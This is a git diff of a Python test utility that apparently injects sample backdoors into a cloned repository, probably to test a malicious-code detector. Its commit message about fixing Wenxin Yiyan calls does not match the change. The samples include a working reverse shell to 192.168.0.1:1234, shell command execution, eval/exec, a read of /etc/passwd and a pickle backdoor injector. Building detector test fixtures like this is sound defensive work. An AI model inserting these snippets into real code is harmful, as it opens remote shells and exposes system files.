fix：修复文心一言的调用

tests/final_tests_util.py

@@ -63,69 +63,39 @@ def inject_random_backdoor(
 
 
 # 示例1: 通过 os.system 执行命令
-backdoor1 = """
-import os
-os.system('ls')
-"""
+backdoor1 = """import os
+os.system('ls')"""
 
 # 示例2: 通过 subprocess 模块执行命令
-backdoor2 = """
-import subprocess
-subprocess.call(['ls', '-l'])
-"""
+backdoor2 = """import subprocess
+subprocess.call(['ls', '-l'])"""
 
 # 示例3: 打开一个反向 shell
-backdoor3 = """
-import socket,subprocess,os
+backdoor3 = """import socket,subprocess,os
 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 s.connect(("192.168.0.1",1234))
 os.dup2(s.fileno(),0)
 os.dup2(s.fileno(),1)
 os.dup2(s.fileno(),2)
-subprocess.call(["/bin/sh","-i"])
-"""
+subprocess.call(["/bin/sh","-i"])"""
 
 # 示例4: 通过 eval 执行任意代码
-backdoor4 = """
-code = "print('Hello, World!')"
-eval(code)
-"""
+backdoor4 = """code = "print('Hello, World!')"
+eval(code)"""
 
 # 示例5: 通过 exec 执行任意代码
-backdoor5 = """
-code = '''
+backdoor5 = """code = '''
 import os
 os.system('ls')
 '''
-exec(code)
-"""
+exec(code)"""
 
-# 示例6: 简单的 HTTP 服务器后门
-backdoor6 = """
-import http.server
-import socketserver
-
-PORT = 8000
-
-Handler = http.server.SimpleHTTPRequestHandler
-
-with socketserver.TCPServer(("", PORT), Handler) as httpd:
-    print("serving at port", PORT)
-    httpd.serve_forever()
-"""
 
 # 示例7: 读取并显示文件内容
-backdoor7 = """
-with open('/etc/passwd', 'r') as file:
+backdoor7 = """with open('/etc/passwd', 'r') as file:
     data = file.read()
-    print(data)
-"""
+    print(data)"""
 
-# 示例8: 无限循环
-backdoor8 = """
-while True:
-    print("This is a backdoor.")
-"""
 
 backdoors = [
     backdoor1,
@@ -133,9 +103,7 @@ backdoors = [
     backdoor3,
     backdoor4,
     backdoor5,
-    backdoor6,
     backdoor7,
-    backdoor8,
 ]
 
 
@@ -183,4 +151,4 @@ if __name__ == "__main__":
     clone_dir = "/tmp/repo"
     clone_repo(repo_url, clone_dir)
     inject_random_backdoor(clone_dir)
-    inject_pickle_backdoor(clone_dir)
+    inject_pickle_backdoor(clone_dir)